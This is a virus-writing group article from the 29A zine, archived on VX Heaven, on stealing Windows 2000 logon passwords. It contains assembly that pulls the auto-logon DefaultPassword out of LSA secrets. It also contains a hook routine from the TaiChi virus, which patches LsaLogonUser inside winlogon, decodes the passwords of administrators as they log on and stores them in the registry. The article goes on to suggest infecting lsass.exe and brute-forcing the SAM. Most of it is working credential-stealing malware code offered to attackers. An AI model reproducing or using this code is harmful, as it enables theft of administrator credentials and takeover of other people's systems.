VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Gaining passwords

29a [6]
March 2002

[Back to index] [Comments]


If you read my article about impersonation you've probably noticed that for have it working you need the account name and the password. It ain't a big problem to retrieve the account name. The problem is to gain the password of course. Here I'll present some ideas how to steal the passwords ...

The easier one

Maybe you're lazy as me and don't want to login everytime you turn on your machine. Thatswhy you have the option to let the system log the default user which you have set. For the lazy people like me the best solution :) However where is stored the default user's password?

Of course in the SAM. However if you have the admin privileges it's very easy to gain it from there. Have a look at code snippet again :)

Retrieving DefaultPassword

; Lsa* apis are exported by advapi32.dll

key_name        dw      name_length
                dw      name_length
                dd      offset _name_
_name_          dw      "D", "e", "f", "a", "u", "l", "t", "P", "a", "s", \
                        "s", "w", "o", "r", "d"
name_length     equ     $-_name_

        @pushvar <policy_handle dd      ?>
        push 1
        call $+5+6*4
                dd      6*4
                dd      5 dup(?)
        push 0
        calle LsaOpenPolicy
        @pushvar <private_data  dd      ?>
        push offset key_name
        push dword ptr [policy_handle]
        calle LsaRetrievePrivateData

        mov eax, dword ptr [private_data]       ; now in eax ptr to an UNICODE string
        xchg eax, ecx
        jecxz next
                                                ; which contains the DefaultPassword
        push eax
        mov eax, dword ptr [eax+4]              ; now in eax the *DefaultPassword

        push eax
        calle LsaFreeMemory
        calle LsaFreeMemory

        push dword ptr [policy_handle]
        calle LsaClose

This was easy right? However it can be used in very limited cases. Let's have a look at the second method.

The Trojan method

While coding TaiChi I've learned a lot of things about Win2k. First of all it of course were the NTFS structures and the NTFS organization in whole. Secondly it was a lot of things about security and also about the logon process ...

If you see that naughty dialog box while login to the system you've probably also thought about "hey this can't be hard to hook and log all those passwords!". And you we're right. It really ain't hard. All you need is some info about how the logon process works and to know what to hook/patch ...

Winlogon is the component which handles the logon (the name gives a lil clue right? :)). Since we have learned how to modify/patch winlogon we know a way how to implant our hook code there. But what to hook?

Winlogon relies on Graphical Identification and Authentication (GINA) dll which is responsible for retrieving user name and password. The default GINA is Msgina.dll which brings us that naughty dialog box :). So msgina is the to start. I've coded a little winlogon replacement (well it's more a wrapper) which you can find in binaries dir. This helped me to track what's happening with the retrieved password and user name (the first place to hook could be msgina.dll - the place where it retrieves the password from the dialog box; however this is not the best place because user could write it badly and we wouldn't know it ...). I realised that msgina (after encrypting it via RtlRunEncodeUnicodeString) sends user and password to the LsaLogonUser api (which is in fact just a wrapper which via LPC communicates with lsass.exe process) which is exported by secur32.dll. This is the right place to hook because we have even the NTSTATUS on return so we know whether it was good or badly writen - ie whether the user was logged in or not.

And this is exactly what I did. I hooked the LsaLogonUser api at the end (to know the exit status) and all admin password I've logged to registry. I think it's time for a code snippet from TaiChi :) I won't teach you how to hook a function because you all know it of course. I'll just show you the hook routine ...

LsaLogonUser Hook

lsa_logon_user_hook     proc    near
        pop esi

        test eax, eax                           ; the user logged successfully?
        jnz lsa_logon_user_hook_end_

        @SEH_SetupFrame <jmp lsa_logon_user_hook_end>


        mov esi, dword ptr [esp+8+cPushad+4+16] ; AuthenticationInformation

        cmp dword ptr [esi], 2                  ; InteractiveLogon ?
        jnz lsa_logon_user_hook_end

        @pushvar <net_buf_ptr   dd      ?>
        push 1
        push dword ptr [esi+16]                 ; retrieve user info
        push 0
        call dword ptr [ebp+end_remote_routine+tNetUserGetInfo]
        test eax, eax
        jnz lsa_logon_user_hook_end

        mov eax, dword ptr [ebp+net_buf_ptr]
        push dword ptr [eax+12]

        push eax
        call dword ptr [ebp+end_remote_routine+tNetApiBufferFree]

        pop eax
        cmp eax, USER_PRIV_ADMIN                ; does user belong to admin group?
        jnz lsa_logon_user_hook_end

        mov ebx, dword ptr [esp+8+cPushad+4+20] ; AuthenticationInformationLength  
        mov ecx, ebx
        add ecx, 300

        push ecx
        push GMEM_ZEROINIT                      ; alloc some memory
        call dword ptr [ebp+end_remote_routine+tGlobalAlloc]
        test eax, eax
        jz lsa_logon_user_hook_end
        xchg eax, edi

        mov ecx, ebx
        rep movsb                               ; copy there AuthenticationInfo

        mov eax, dword ptr [esi+24]
        sub eax, esi
        add eax, edi                            ; get the password
        mov dword ptr [edi+24], eax             ; in encrypted form

        movzx eax, byte ptr [edi+21]
        xor byte ptr [edi+21], al
        lea edx, [edi+20]
        push edx                                ; decode the password
        push eax
        call dword ptr [ebp+end_remote_routine+tRtlRunDecodeUnicodeString]

        push edi
        mov edx, esi
        mov ecx, edi
        xor eax, eax

        lea edi, [edi+ebx]
        mov esi, dword ptr [edx+16]

        mov dword ptr [ebp+value_data], edi

        mov esi, dword ptr [ecx+24]
        mov edx, edi
        sub edi, edx
        mov edx, edi
        pop edi

        ; ok we've got an admin account so store it to registry ...
        push edx
        @pushvar <reg_handle    dd      ?>
        @pushsz "Software\29A\TaiChi"
        push HKEY_LOCAL_MACHINE                 ; store user/password pair to
        call dword ptr [ebp+end_remote_routine+tRegCreateKeyA]
        pop edx                                 ; registry
        test eax, eax
        jnz lsa_logon_free_mem

        push edx
        push 12346578h
value_data      equ     $-4
        push REG_SZ
        push eax
        lea eax, [edi+ebx]
        push eax
        mov ebx, dword ptr [ebp+reg_handle]
        push ebx
        call dword ptr [ebp+end_remote_routine+tRegSetValueExA]

        push ebx
        call dword ptr [ebp+end_remote_routine+tRegCloseKey]
        push edi
        call dword ptr [ebp++end_remote_routine+tGlobalFree]
        popad                                   ; and finally end ... :)
        retn 38h
lsa_logon_user_hook     endp


There are some other ways to retrieve passwords. You don't have to infect winlogon of course :) As i said the LsaLogonUser is just a wrapper to lsass.exe process. So the next step is to infect lsass.exe process. Since it is the main security handling process of the system possibilities are obvious. And everytime you can try to crack the passwords in the SAM databases using brute force of course :)) This I'll let upon you ...

Ratter/29A - I'm a stranger in the world I haven't made
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka